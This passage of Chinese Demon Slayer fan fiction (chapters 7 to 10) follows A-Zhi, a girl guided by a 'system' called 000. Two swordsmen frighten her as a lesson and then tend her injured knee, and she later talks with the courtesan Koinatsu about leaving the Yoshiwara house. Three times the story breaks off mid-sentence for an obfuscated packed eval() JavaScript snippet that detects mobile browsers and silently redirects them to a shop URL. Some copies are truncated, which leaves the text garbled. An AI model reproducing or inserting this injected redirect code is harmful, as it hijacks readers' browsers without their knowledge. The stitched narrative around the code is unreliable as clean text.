她没有得到任何回答,肩膀上那不容撼动的力道是真实存在的,而上方那双深蓝色眼眸中也翻涌着她看不懂的复杂情绪。 少女那纤细得仿佛一折即断的手腕,在绝对的力量面前,果然毫无反抗之力。 它们徒劳地挣扎了几下,却只是让那串珊瑚珠子再次发出无助的轻响,没有起到任何作用。 富冈义勇甚至不需要用双手,仅凭一只手掌就足以将少女牢牢地掌控在方寸之地,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815301|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她所有的努力都化为徒劳。 锖兔站在一旁,微微愣了一下。 他虽默许了义勇的行为,意在给阿织一个深刻的“教训”,但眼前这幅景象却有些超出预想的怪异感。 高大精悍的剑士将娇小柔美的少女彻底压制在身下,灯光在他们周围投下交织的光影,少女白皙的肌肤与男人小麦色的手臂形成强烈反差。 他眼光微微闪烁了一下,但终究没有立刻上前阻止,有些教训必须亲身经历后才足够深刻。 高大身躯投下的阴影完全笼罩了阿织,面前是面无表情质问着她的富冈义勇,后背是坚硬冰冷的桌面,硌得她生疼。 阿织不想要面对这样陌生而可怕的富冈义勇,她本能地想要逃避,徒劳地向后缩着身体,全然忘记自己早已无处可逃。 横亘在她面颊旁的那条小麦色的手臂,在少女极致白皙的肌肤映衬下,显得格外醒目。 肌肉线条流畅而充满力量感,无声地诉说着两者之间无法跨越的鸿沟。 这本该是带来安全感的存在,此刻却成了禁锢她的一部分。 但富冈义勇心中此刻并无半分旖旎念头,他只觉得后怕与焦虑,这种情绪正绵绵不绝地从心底燃烧起来,灼烧着他的理智。 时间仿佛被无限拉长,每一秒都像是在煎熬。 阿织的腰肢虽然纤细柔软,但长时间被这样强行按压在坚硬的桌面上,也觉得难受极了。 委屈、恐惧和不解交织在一起,最终化为滚烫的泪水,盈满了眼眶。 她绝望地转过头,看向房间里唯一可能帮助她的人,声音破碎而充满希冀:“……锖兔?” 她伸出那只尚且自由的手,用尽力气抓住了肉色头发剑士的衣袖。 因为过度用力,洁白手背上青灰色的血管都清晰可见,嗓音里浸满了泪水和无助的哀求:“帮帮我……” 她还在向在场的另一个人呼救,却没意识到锖兔的想法与富冈义勇从根本上是一致的。 否则,以他的身手和立场又怎会一直袖手旁观,默许事态发展到这一步? “阿织,”锖兔终于开口,声音依旧是温和的,但话语里的含义却让阿织不能接受,“你确实应该受到点教训。” 他轻轻地叹了一口气,那叹息声沉重地敲在阿织的心上。 室内灯光从他侧后方照来,使得他半边脸庞明亮温和,另外半边却陷在深深的阴影里,这样俯视着她。 展现出一种不怒自威的压迫感。 连向来最温柔、从未对她说过重话的锖兔,都不选择帮她…… 阿织彻底陷入了孤立无援的绝境,大脑一片空白,巨大的恐惧和委屈如同潮水般将她淹没。 她像一个被最信任的人背叛的孩子,无法理解这突如其来的变故。 她闭上眼睛,不想再看到他们任何一个人,仿佛这样就能逃避这可怕的现实。 泪水终于决堤,顺着发红的眼角不断滑落,迅速浸湿了鬓间乌黑的发丝。 【我不喜欢他们这个样子……】她在心里无声地向000哭诉,身体因为抽泣而微微颤抖。 在这里这么久,000第一次见到阿织这么伤心,直接拆穿了他们:【他们在吓你。】 不过,虽然富冈义勇和锖兔的初衷是出于关心和担忧,但在000看来,他们此刻的做法确实有些不妥。 阿织却不是很相信,嘴唇不住地颤抖着,她紧紧咬着牙关,长长的睫毛被泪水濡湿,显得无比脆弱。 “………” 看着少女哭得如此伤心,几乎快要喘不过气的模样,锖兔心想好像刺激得有些过头了。 “好了,义勇。”锖兔终于走上前,一只手稳稳地按在富冈义勇依旧紧绷的肩膀上,轻轻拍了拍,语气带着不容置疑的制止,“可以了。” 富冈义勇顿了下,依言松开了手。 深蓝色的眼眸看了一眼哭得浑身发抖的阿织,情绪如同潮水般缓缓退去,取而代之的是不易察觉的懊悔和无措。 阿织还沉浸在巨大的惊吓中,无法立刻回神。 她依旧一下一下地啜泣着,纤瘦的肩膀微微耸动,睫毛湿漉漉地黏在一起,眼睑和鼻尖都哭得通红,上面还挂着泪珠。 指望富冈义勇来哄人是不可能的,他松手后便有些僵硬地站在一旁,眼神移向别处,似乎也不知道该如何面对这副场面。 锖兔在心中无奈地叹了口气,微微弯下腰,难得体味到了手足无措的感觉。 他伸出手,用指腹极其轻柔地蹭去阿织眼角不断涌出的温热泪珠,笨拙地安抚道:“别哭了,再哭下去眼睛就要肿了。” 少女依旧无法从刚才那番惊吓中完全走出,她抽抽噎噎地,皱了皱泛红的鼻尖,眼睑上还泛着可怜的红晕。 她用那双湿漉漉的眼睛瞪视着眼前的两个青年,那眼神里混杂着委屈和控诉,说出的话也可怜巴巴的。 “你们欺负我!” 8. 第 08 章 第 08 锖兔和富冈义勇,是经历过真正千锤百炼的杀鬼剑士。 他们的日常便是将性命悬于刀锋之上,游走在生与死的边缘,呼吸间都可能与死亡擦肩。 而他们的实力也早已超越了普通队员的范畴,达到了鬼杀队中“柱”的境界。 阿织并不完全清楚“柱”究竟意味着怎样强大的实力,但她知道,他们是足以支撑起整个鬼杀队对抗无尽黑暗的脊梁。 这样的两个人如果真的心怀歹意,想要对她做些什么,根本不会像刚才那样,仅仅是一场小打小闹般的恐吓。 因此,当最初的惊吓和委屈稍稍退去,阿织也冷静下来了一些,她隐隐约约地感觉到了隐藏在粗暴表象下笨拙却又无比真切的关切。 但即便如此,她还是为刚才的事情感到生气,而且非常生气! 归根结底,阿织在这个陌生世界能够称之为熟悉并全心信赖的人,屈指可数。 富冈义勇和锖兔在阿织最彷徨无依时收留了她,给了她一个可以称之为栖身之所的地方。 初临此世时,阿织整个人如同漂浮在无边荒原上的一株蒲公英,轻飘飘的,没有丝毫真实感与重量感,仿佛一阵稍大些的风就能将她彻底吹散。 是000发布的任务,如同一条无形的丝线般将她与他们连接在了一起。 这使得阿织身前终于有了可以遮风挡雨的屏障。 所以,还好刚才一切都是假的。 如果他们真的变成了陌生而可怕的样子,对阿织而言,那是她绝对无法承受的事情。 少女眼睛里依旧噙着一层未散的水雾,她呆呆地被锖兔扶着,重新坐直了身体。 原本被精心盘起的发髻,经过方才那一番意料之外的挣扎与折腾,早已松垮了下来。 浓密乌黑的长发如同失去了束缚的瀑布,柔顺地披散下来,几缕发丝黏在她湿润的脸颊和脖颈上,更添几分凌乱的脆弱。 那枚被她特意插在发间的珠钗,此刻变得摇摇欲坠,精美的流苏与散落的发丝紧紧缠绕在一起,随着她细微的动作发出窸窣的轻响。 这枚发钗,也终于得到了它最初被期待的关注,不过却是在如此狼狈不堪的情形下。 锖兔眼疾手快,在那珠钗即将彻底滑落到地面的前一瞬,稳稳地伸手接住了它。 金属钗身和镶嵌的宝石初入手时带着夜晚的寒意,但很快就在他宽厚的掌心里被体温烘热。 阿织对此毫无所觉,她还用手背抹了抹眼泪,这个动作让她本就泛红的眼角被磨得更红了。 锖兔看着她这副模样,摇了摇头,神情中既有无奈也有妥协,他小心翼翼地将那枚已然被他掌心焐热的发钗放在了桌面上。 事到如今,没有人忍心再去对少女进行严厉地说教了。 富冈义勇也后知后觉地意识到了什么,他沉默地站在旁边,身体挺拔却透着僵硬。 之前那为了吓唬人而刻意营造出的冷硬气势,此刻早已溃不成军,消失得无影无踪。 不过,富冈义勇对于阿织口中指控的“欺负”二字,他其实并不完全认同,甚至感到一丝困惑。 在他看来,自己只是采取了最直接的方式,去让阿织切身体会到她先前行为的莽撞与潜在的危险性。 不过,他也明白,现在显然还是安抚她更重要一些。 富冈义勇动了动嘴唇,声音却依旧带着他特有的平板和生硬:“别哭了。” 这句话听起来与其说是安慰,不如说更像是命令,它不仅没有起到丝毫安抚作用,反而在尚未熄灭的火星上又浇了油。 阿织果然更气了,用力咬住了下唇,她推开了黑发剑士下意识伸过来想要搀扶她的手,双手撑住桌沿从桌面上下来,想要立刻离这两个可恶的家伙远一些。 然而就在她的双脚刚刚接触地面一瞬间,一阵尖锐的疼痛猛地从膝盖处传了过来。 “唔……!” 她控制不住地发出一声痛呼,身体踉跄着险些软倒,吃痛地紧紧皱起了眉头。 是之前不慎跌倒碰到的地方,最开始的时候还疼得厉害,但后面被其他事情分散了注意力,痛感便模糊了。 阿织都快忘了自己还有伤,没想到会在此刻发作,而且疼得她瞬间冒出了冷汗。 只还没等她采取下一步动作,猝不及防中她只觉得腰侧一紧,身体再次悬空。 阿织被锖兔掐着腰,轻而易举地抱起来,重新安置回了桌面上坐好,对方动作轻松得仿佛在摆放一个没什么重量的布艺玩偶。 紧接着,带着薄茧的宽大手掌小心翼翼地撩开了和服那柔软的下摆,膝盖上那处伤处便毫无遮掩地暴露在了空气中。 原本应该洁白无瑕的膝盖处,此刻却红肿了一大片,并且颜色很深,在周围完好肌肤的映衬下,显得格外狰狞可怖。 也因此,当富冈义勇和锖兔清楚地看到这片伤势时,两人的眉头都不约而同地紧紧锁了起来。 锖兔没有任何犹豫,当即单膝跪地,他牵引着阿织,让她将受伤的那只脚轻轻踩在他屈起的大腿上,以便能更好地检查她腿上的伤处。 足弓优美的赤足就这样踩在了肉发剑士覆盖着布料却依旧能感受到蕴藏着爆发力的腿上。 他微微弯下腰,单手稳稳地扶住少女的小腿,另一只手的指腹以极轻的力度,按压阿织膝盖周围的皮肤。 片刻后,他抬起头,语气明显放松了一些:“只是皮肉伤,骨头没事。 阿织在他按压时忍不住“嘶”了一声,扶在桌面上的手指因为用力而微微发白。 她直直地望着自己膝盖上那片狰狞的红肿,强忍着随着检查而不断升级的疼痛,小声嘟囔着:“这……这得要多久才能好啊?” “如果是你的恢复速度……恐怕至少需要半个月。” 一直沉默旁观的富冈义勇垂下眼眸,看着闷闷不乐的阿织,用一种近乎残忍的平静语气,说出了他基于对她体质了解而做出的判断。 他说话的同时,熟练地转身走向房间一角的柜子,从抽屉里拿出药瓶,然后抛给了仍在阿织腿边蹲跪着的锖兔。 他们两个简直配合得天衣无缝,检查伤势还不忘说教,站在同一阵线上“讨伐”她,实在是太可恶了! 阿织气鼓鼓的,她从鼻腔里发出带着不满的“哼”声,刻意侧过脸,将视线投向半空中,坚决不肯再看这两个气人的家伙。 只是,她现在这副模样,连生气都带着一股软乎乎的劲儿。 无论是湿润的眼角,还是微红的鼻尖,又或者是紧抿却依旧柔和的唇线,实在没有什么震慑力。 说不准,在某些性格更为恶劣的人看来,这反而会更激起想要变本加厉欺负她,以便能看到更多有趣的反应。 锖兔看了一眼,唇角几不可察地向上勾动了一下,那弧度快得如同错觉。 对于这类撞伤淤青,使用特制的药油充分揉开,虽然过程痛苦,但能促进血液循环,好得更快。 但如果怕疼而不去处理,或者只是轻轻涂抹不去按摩,那么恢复时间将会成倍延长。 对于习惯了伤痛与快速恢复的富冈义勇和锖兔,他们显然只会选择虽然疼痛却高效的恢复方法。 为了不让少女在揉药油的过程中,因为难以忍受的疼痛而无意识地乱动挣扎,从而导致膝盖的伤势加重,富冈义勇不得不再次上前协助。 他也蹲下了身体,伸出双手,以一种既能有效固定又不会弄疼她的力道,轻轻扶住了阿织纤细的脚踝。 锖兔将深褐色的药油倒在掌心,双手搓热,然后那指节分明沾满了药膏的手指,便准确无误地覆盖在了那片红肿之上。 下一刻,开始以温柔却坚定的力道按揉起来,一直到那半固态的药膏在摩擦和体温的作用下彻底融化,渗透进皮肤。 肉发剑士按压在伤处的指腹并不平滑,因为常年握刀,指腹无数次与刀柄摩擦,早已造就出粗糙的茧子。 现在,这层茧子此刻在她本就因为红肿发烫而变得异常敏感的皮肤上反复揉搓,刺痛与摩擦感被放大了数倍,清晰到令人难以忍受。 额前的碎发很快便被细密的冷汗濡湿,黏在光洁的额头上。 阿织忍耐地咬住了下唇,绷直的足弓因为强忍疼痛而微微颤抖,但还是有一两声压抑不住的痛呼从齿缝间溢出。 这个过程,说长不长,说短不短,但出乎两位剑士意料的是,尽管疼得浑身发抖,阿织竟然硬撑着没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阿织的声音里还带着浓重的、未散的鼻音,她抬起眼,努力瞪大眼睛强调,试图让自己看起来更认真、更有说服力一些。 尽管她唇瓣上原本娇艳的口脂经过眼泪、汗水和牙齿的轮番摧残,早已斑驳脱落得不成样子。 “我以后会小心的。” 但她随即又想起了刚才的遭遇,立刻补充了条件,带着点抱怨地强调:“但是下次,你们绝对不能这样了!绝对不能!” 她一边说着,一边还用手拍着富冈义勇的手臂。 锖兔啼笑皆非。 ◇◇◇◇◇◇ 锖兔和义勇并未停留太久,他们要趁着夜色未尽悄然离去。 或许是返回总部复命,或许是不做任何停歇直接奔赴下一个可能出现恶鬼的地点,去执行新的任务。 相聚时光总是很短暂,就如同指尖流沙,来不及紧紧握住,便已悄然消逝。 ——太忙了。 阿织在心中无声地感叹,带着一丝不易察觉的失落。 果然是能力越强,肩负的责任就越重,付出的也就越多。 一想到下次见面不知又将是哪天,也不知他们身上是否会增添新的伤痕,阿织就不由自主地感到心慌。 她把早已精心打包好的点心塞进两人手里后,在最后告别的时刻,还是没忍住,悄悄伸手拉住了正要转身的剑士的衣袖。 “要小心啊。” 哪怕是他们两人已经成为了鬼杀队中顶级剑士,每次分别,阿织总要补充这么一句。 “知道了。”锖兔垂下眼眸,温柔地注视着阿织,那双总是带着笑意的眼睛里掠过一丝清浅的情绪。 富冈义勇没有直接回答,只是伸出手,带着一种近乎宠溺的力度,在少女柔软蓬松的额发上轻轻揉了揉。 不再多说,他们转身离去。 饶是已经见识过很多次,阿织看着锖兔和富冈义勇如同融入夜色阴影般迅捷离去的身影,心中依然会冒出那个不变的念头。 她觉得富冈义勇和锖兔……不,或许是整个鬼杀队的成员们,他们其实……都会飞吧! 阿织双手扒在冰凉的窗沿上,努力向外探出身子,望着他们离去的方向。 那两个挺拔的背影在浓重的夜色中迅速远去,越来越小,最终化作了视野尽头两个几乎难以辨认的小黑点,直至完全隐没在黑暗里,再也看不见分毫。 9. 第 09 章 第 09 时任屋近日笼罩在一层无形的低气压中。 有几名资历尚浅的年轻游女,不知用了什么方法,胆大包天地“私逃”了出去。 这无疑是在老板娘脸上狠狠扇了一记耳光,让她勃然大怒,接连几日都能听到她压抑着火气的训斥声。 再加上,有传言说鲤夏花魁即将被一位倾慕者赎身,不日就要离开时任屋了…… 一时间,整个屋舍的仆役和游女们都噤若寒蝉,行事愈发小心翼翼。 ……… 阿织昨夜辗转反侧,没怎么睡好,天刚蒙蒙,她便醒了,带着些许倦意倚在窗边。 恰逢几个平日里负责伺候的陪童叽叽喳喳地路过,看见她,便如同找到了最佳的倾诉对象,一股脑地将近日的八卦都倒了出来。 阿织性子软和,从不呵斥她们,在这些小丫头眼里,这位容貌出众却没什么架子的“阿织姐姐”,便是最好的听众。 她确实也安静地听完了,还拉开身侧的抽屉,拿出几包用精美和纸包裹着的小食,对着她们眨了眨眼睛,语气轻柔得像是在哄慰幼童:“拿去分着吃吧,去玩会儿,别跑太远。” 陪童们只犹豫了一瞬,目光在诱人的零食和阿织温和的脸上转了一圈,随即欢呼雀跃着,捧着零食跑开了。 待到室内重新恢复了宁静,只剩下窗外隐约传来的细微风声,阿织才缓缓用手撑住脸颊,另一只手的指尖无意识地抚摸着光洁的桌面。 她瞪大了尚且带着些微红肿的眼睛,难以置信地震声道:【鲤夏姐姐要走了?什么时候的事?我怎么一点风声都没提前听到?】 【难道我现在其实还在做梦,没睡醒?】这个消息对阿织而言,实在太突然了。 【……】 000最近活跃了许多,不再像之前那样长时间陷入休眠,回复阿织的频率也明显增加。 它闻言沉默了一下,随后用那平板的电子音回应:【是真的,那位想要为鲤夏花魁赎身的人,风评尚可,对她也算真心实意。】 知道阿织内心或许会因鲤夏的离去而产生些许隐忧与不安,000难得地展现了一丝近乎体贴的数据流。 但这份体贴转瞬即逝,它立刻开始催促:【你也要尽快离开时任屋,继续呆在这里,对任务的推进没有意义。】 阿织听到前面才松了口气,又听到了后面那冷酷无情的话。 经历了富冈义勇和锖兔那一遭,她本来就已经怀疑自己,现在更疑心000也在说她,纤细的眉头顿时皱了起来。 阿织提高了音量,语气中带着点指控的意味:【你是不是也和他们一样,觉得我没用?】 000迷茫了,它有表达出这样的意思吗?它好像没有一个字提到这个吧。 阿织咬着小白牙,试图威胁:【你小心一点哦,我可是你的宿主,拥有、拥有投诉你的权利!】 “投诉”这个词,还是最开始的时候000提到的,阿织大致理解是什么意思,但她根本不记得该向哪里投诉,也不知道怎么投诉。 不过这不妨碍她吓000。 【………】 意识海里,是一片长久的沉默。 平日里,当阿织觉得无趣或烦闷时,总喜欢借题发挥,用各种稀奇古怪的问题来骚扰系统。 又或者,遇到任何不明白的事情,她都会条件反射般地首先询问000,无论它是否知晓答案。 这种行为模式,像极了不自觉地向最亲近、最信赖的人撒娇使性子。 阿织本人或许并未清晰地意识到这一点,但与她意识相连的000,却逐渐品味出了这种独特的依赖感。 000总结出规律:一般这种情况下,只要不予以回应,阿织这种短暂的情绪波动通常会自动平复,不会产生后续纠缠。 然而,若是忍不住搭了一句话,那么接下来很可能就会面临没完没了的无逻辑对话。 也就在它面前,阿织能这般耀武扬威了。 打定主意后,000彻底切断了主动对话频道,陷入缄默。 阿织等了一会儿,没等到回应,只好对着空气小小地“哼”了一声,然后目光空空地望向前方,脑子里思绪纷乱,也不知道具体想了些什么。 最终,她决定去找鲤夏。 只是,昨晚膝盖上留下的伤,此刻依旧在隐隐作痛,虽然不像最初那般尖锐,但还是切实地影响到了她的行动。 每走一步,伤处都会传来清晰的酸胀与刺痛感,让她不自觉地眉头微蹙,步伐放缓,连走路的姿势都带上了一种僵硬的不自然。 这番情状,落在不明就里的鲤夏眼中,便直接引发了一场美妙的误会。 少女眼底有淡淡的青黑,薄薄眼皮上残留着未曾消退的红肿,在白皙肌肤的映衬下尤为明显,看样子是哭了很久。 再结合她那没什么精神的蔫巴样子,以及那仔细观察便能察觉到的微微颤抖着的腿…… ——活脱脱一副饱受蹂|躏、被狠狠欺负的模样。 带着这样先入为主的滤镜,鲤夏甚至觉得,在阿织那精致却带着倦意的眉眼间,隐隐流淌着一股说不清道不明的隐忍。 虽然此隐忍与彼隐忍不同。 “怎么不好好休息一下,这么快就出来了?”鲤夏的声音一如既往的温柔,但其中掺杂的关心与一丝不易察觉的怜悯。 在阿织过去的描述中,那位富冈先生性格严肃认真,甚至有些刻板。 没想到,这样一个人,在床笫之间竟会意外地如此……不知节制,甚至有些粗鲁。 鲤夏一边这样想着,一边动作轻柔地从身旁抽出一只柔软厚实的蒲团,体贴地递了过去,瞳孔中写满了善意。 白日里本就是供游女们休息的时光,夜晚才是她们工作与献艺的时间。 阿织昨晚既然那般劳累,今天按理说应该好好卧床休息才是,怎么还有精力四处走动? 阿织虽然迷茫,但还是乖乖接过了那只看起来就十分舒适的蒲团,在鲤夏的示意下垫在身下,然后小心翼翼地借助手臂的力量缓缓坐了下去。 嗯,柔软的蒲团很好地缓解了膝盖弯曲时的不适,确实挺舒服的。 她下意识地扭动身体,调整到了一个最能放松伤处的姿势,这才软着声音,带着点依赖回答:“一个人在房间里呆着无聊嘛。” 少女表现出来的神态和语气,依旧和往常一样,带着未曾完全开窍的懵懂与天真,似乎并没有因为与富冈义勇关系的突飞猛进而表现出什么不同寻常的羞涩或转变。 这在鲤夏看来,不知是该庆幸她心性纯净,还是该担忧她过于迟钝。 “听说,昨晚有不懂事的客人闹事?”鲤夏巧妙地转换了话题,将重点引向了另一个方向。 早些年,喝醉了酒在吉原游郭闹事的人并不少见,但自从各家店铺联合起来,立下规矩,明确表示不欢迎此类客人后,吉原确实平静了许多。 这难得一见的风波,偏偏被阿织给撞上了。 鲤夏之前听闻并未出什么大事,才稍稍放心,此刻见到阿织,还是忍不住关切地问起。 “嗯。”阿织点了点头。 她见鲤夏似乎对这件事颇感兴趣,便简单地描述了一下事情的经过,略去了富冈义勇和锖兔后续那场教训,只提到了高桥淳一的纠缠和富冈义勇的及时解围。 她对昨晚那两位听完故事后就仿佛变了个人般的剑士,仍旧怀有几分后怕。 但鲤夏姐姐不一样,她那么温柔,绝对不会像他们那样凶巴巴的。 “原来是这样。”鲤夏听完,心中所有的疑惑仿佛瞬间都有了答案。 她终于明白,为何那位数年来一直不求回报,默默陪伴在阿织身边,性格看似冷静自持的富冈先生,昨晚会如同受了什么巨大刺激般,表现得如此异常。 原来是占有欲和愤怒使然。 在鲤夏的认知里,富冈义勇堪称是阿织在吉原这些年来,唯一且固定的“入幕之宾”。 能够维持这样一段特殊关系如此之久,那位富冈先生必然对阿织怀有极深的喜爱。 一个男子,发现自己心爱的女子被他人觊觎,而这女子也差点置身险境时,那他做出一些与平时性格大相径庭的行为,似乎也就在情理之中了。 鲤夏用一种混合着了然和同情的复杂眼神,重新看向一脸无辜的阿织。 阿织被这眼神看得有些发毛,不明所以,只觉得仿佛有一口又大又圆的黑锅,正无声无息地扣在了自己头上。 不过,这暂时不是重点,她提起这件事的主要目的在于…… 阿织忽然想起昨晚后续的委屈,一股愤懑之情涌上心头。 她用力地拍了一下地面,正打算绘声绘色地向温柔可靠的鲤夏姐姐控诉富冈义勇这个人是如何的冷酷无情,如何的仗着力气大吓唬人。 而她自己又是如何的弱小、可怜又无助,最终只能被迫含泪认错的悲惨故事。 “他昨天欺负我!”阿织恶向胆边生,开始叭叭叭地告黑状。 但说到最后,想起对方后来笨拙的安抚和上药,终究还是有点底气不足,目光微微游移着,声音也小了下去,下意识地找补了一句:“虽、虽然……他最后帮我处理伤口的时候,还是挺……小心的。” 少女抱怨的时候,动作不停,嘴巴也无意识地微微嘟起。 那娇嫩饱满的唇瓣如同丰硕的果肉,泛着健康莹润的光泽。 虽然无法亲自品尝,但不难想象,触碰到它会是何等的柔软细腻,足以让人心荡神驰,流连忘返。 而她所说的每一句话,结合她此刻的神态,在鲤夏听来,都充满了引人遐想的空间。 鲤夏有些不自然地挪开了视线,感觉脸颊微微发烫。 她借着转身面对梳妆台的姿势,掩饰性地轻咳了一声,语气带着一丝不易察觉的尴尬与劝阻:“……咳,这种事情,其中的细节……就不必与我细说了。” 阿织:“?” 怎么就不必细说了?她的难过与气愤,她的“悲惨”遭遇,难道就无人在意吗?鲤夏姐姐不是应该和她同仇敌忾吗? 阿织面色凝固,满头问号,感觉事情的发展方向完全超出了自己的理解和预期,她觉得自己非常有必要把事情的原委讲清楚! 见少女似乎还欲继续分享那些在她看来属于极为私密的东西,鲤夏假装没有看到阿织那迫切想要倾诉的表情,不着痕迹地迅速转移了话题。 她语气带着郑重的关切:“阿织,富冈先生有没有跟你聊过,关于未来,关于……离开吉原的事情?” 吉原的游女,大多有些身不由己的宿命,但鲤夏觉得,阿织可以不用经历这些。 她身边有那样一位强大且似乎真心待她的男子,也许能够挣脱这命运的枷锁,避免许多不必要的痛苦。 在真正的磨难降临之前,若能离开这片土地,去追寻属于自己的幸福,那该是多么美好的事情。 她一边说着,一边从宽大的袖笼中取出一个精致的小漆盒,打开盒盖,里面是几颗晶莹剔透的彩色糖果。 鲤夏慢慢剥开糖纸,露出里面如同宝石般诱人的糖块,然后温柔地递到了阿织的嘴边。 阿织很自然地身体微微前倾,“啊呜”一口将糖果含了进去,舌尖瞬间被清甜的苹果香气包裹,她满足地眯了眯眼,眉眼间浮现出简单而纯粹的快乐。 “是苹果口味的,好甜。” 她含着糖块,一边感受着糖块在口腔中化开的滋味,一边思考着鲤夏刚刚提出的问题。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815303|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然后,她联想到了早上听到的传闻,以及刚进门时瞥见的场景——美丽的花魁正含情脉脉地注视着手中握着的一支木簪。 那木簪样式朴素,甚至能看出雕刻者的技艺有些生涩,边角处理得并不圆滑,但它被一方干净柔软的手帕仔细包裹着,足见主人对其的珍视程度。 那想必是那位意中人所赠,也许就是他亲手雕刻的,虽然粗糙,却蕴藏着世间最珍贵的心意。 “鲤夏姐姐……是决定要离开时任屋了吗?”阿织微微偏过头,一边脸颊因含着糖块而鼓起一小团,她含着糖果,口齿有些不清,却突然直白地开口问道。 她眨了下清澈的眼睛,目光落在鲤夏那仿佛寄托了无限柔情与希望的脸上。 “嗯。”鲤夏的脸上浮现出淡淡的红晕,那是提到心爱之人时自然的羞涩与幸福。 “本来昨天就想要告诉你的,但是当时……”当时阿织很高兴要见到富冈义勇,她就没有说了。 鲤夏红着脸,目光却落在阿织的面颊上,顿了顿,眼中闪过一丝不易察觉的忧虑。 阿织似乎比初来时又长开了些,即便她行事低调,深居简出,但殊不知再怎么刻意遮掩,也无法完全掩盖光华。 鲤夏很害怕。 漂亮的外表在吉原是获得青睐与利益的利器,但同时也是招致祸患与不幸的源头,尤其是当这绝色的主人,并没有足够保护自己的力量与心机时。 她情不自禁地伸出手,带着一种近乎怜悯的态度,轻轻抚摸着阿织柔软顺滑的发顶,声音放得极轻极柔,仿佛怕惊扰了什么。 “阿织,你也尽快离开这里吧。富冈先生……他虽然看起来总是很冷淡,不善言辞,但能看得出来他是真心对你好的。” 在她看来,富冈义勇这些年天南海北地奔波,定然是在努力经营生意,积攒财富,或许就是为了有朝一日,能为阿织赎身,给她一个安稳的未来。 “他这些年,应当也是为了能给你一个更好的将来,而在外努力奔波吧。”鲤夏轻声说道,语气中带着肯定与祝福。 一旦她离开,时任屋失去了招牌花魁,老板娘势必会物色新的人选来撑起门面。 以阿织的容貌气质,被推上前台几乎是必然之事。 若真到了那时,一对原本可以长相厮守的有情人,却要因现实的阻隔而平添无数波折,听起来未免太过令人心碎。 若能在悲伤的事情发生之前,抢先一步脱身,那才是再好不过的结局。 鲤夏那双莹润如玉的眼眸专注地凝视着阿织,其中蕴含的关切与担忧,几乎浓烈到能将人溺毙。 阿织呆呆地回望着她,一时间有些恍惚,不明白话题为何又如此自然地绕回到了自己身上。 她仔细思考了一下鲤夏的话,以及000之前的建议,还有义勇和锖兔一直以来的态度,然后缓缓地点了点头。 阿织语气变得认真了些:“嗯,我知道的。这里……我大概也不会停留太久了。” 富冈义勇很忙,他的脚步遍布各地,追逐着恶鬼的踪迹,守护着世间的安宁。 这就意味着,身处吉原时任屋的阿织,想要与他保持频繁的接触,几乎是一件不可能完成的任务。 犹记得最初在藤袭山相遇后,失去了记忆无处可去的阿织,是被暂时安置在了鬼杀队后勤所在的蝶屋。 蝶屋的每个孩子都有自己需要忙碌的事情,阿织其实本可以安逸地呆在那里,等待着富冈义勇执行任务归来后的短暂闲暇,或是他受伤前去休养时的陪伴。 但不知为何,她内心深处,似乎非常厌恶那种被动等待的感觉,那是一种源自本能的焦躁。 阿织不知道自己为何会有这种想法,她只是想自己去做点什么,主动地去参与,而不是一味地等待被安排。 恰好当时,鬼杀队正需要合适的人选潜入吉原游郭,进行情报搜集与潜伏任务。 在询问了当时能量耗尽即将陷入休眠的000的意见后,阿织便自告奋勇地接下了这个任务,一直潜伏至今。 遗憾的是,几年过去,她似乎并未能如同最初预想的那般,做出什么值得称赞的大事,任务进度也异常缓慢。 如今也要因为各种原因,提前结束这场潜伏了。 说来,义勇和锖兔从一开始就不是非常赞同她待在时任屋这种鱼龙混杂的地方,只是拗不过她的坚持。 昨晚他们离开后,000也明确告知她,吉原近期能量场异常,潜在风险升高,强烈建议她尽快撤离。 阿织本身并没有很多的叛逆心,她会接受大家的意见离开这里,只是会觉得遗憾。 而且,一旦从这里离开,与鲤夏姐姐分别之后,茫茫人海,世事变迁,恐怕很难再有相见的机会了。 想到这里,阿织渐渐开始伤感起来。 她下意识地挺直了原本有些慵懒的腰背,双手扶在膝盖上,身体向前凑近了些。 少女黑白分明的瞳孔里充满了前所未有的认真与笃定,那眼神让人毫不怀疑她话语里的真诚:“鲤夏姐姐,你一定会幸福的。” 只是阿织此刻跪坐在柔软蒲团上,微微仰着头,眼神湿漉漉的模样,实在太像一只窝在阳光下晒太阳的漂亮猫咪了。 鲤夏看着她这副样子,心中又是怜爱又是好笑,忍不住伸手,用指尖轻轻摸了摸她光滑细腻的面颊。 鲤夏失笑,语气温柔依旧:“嗯,承你吉言。阿织也一定会幸福的。” 阿织对于她这种仿佛在安抚小动物般的态度略微不满,微微鼓起了脸颊:“…鲤夏姐姐,我很认真的在祝福你!” 鲤夏从善如流,继续淡定地撸着她,眼底的笑意更深了些,同样认真地回应道:“我知道。我也是,很认真地在祝福阿织啊。” 10. 第 10 章 第 10 “喂,你听说了吗?时任屋里除了即将离开的鲤夏花魁,似乎还藏着一位不为人知的美人!” 暖帘之后,几名衣着华贵的男客正围坐小酌。 空气中弥漫着清酒的香气与暖昧的氛围,其中一人压低声音,脸上带着秘而不宣的笑意,开启了话题。 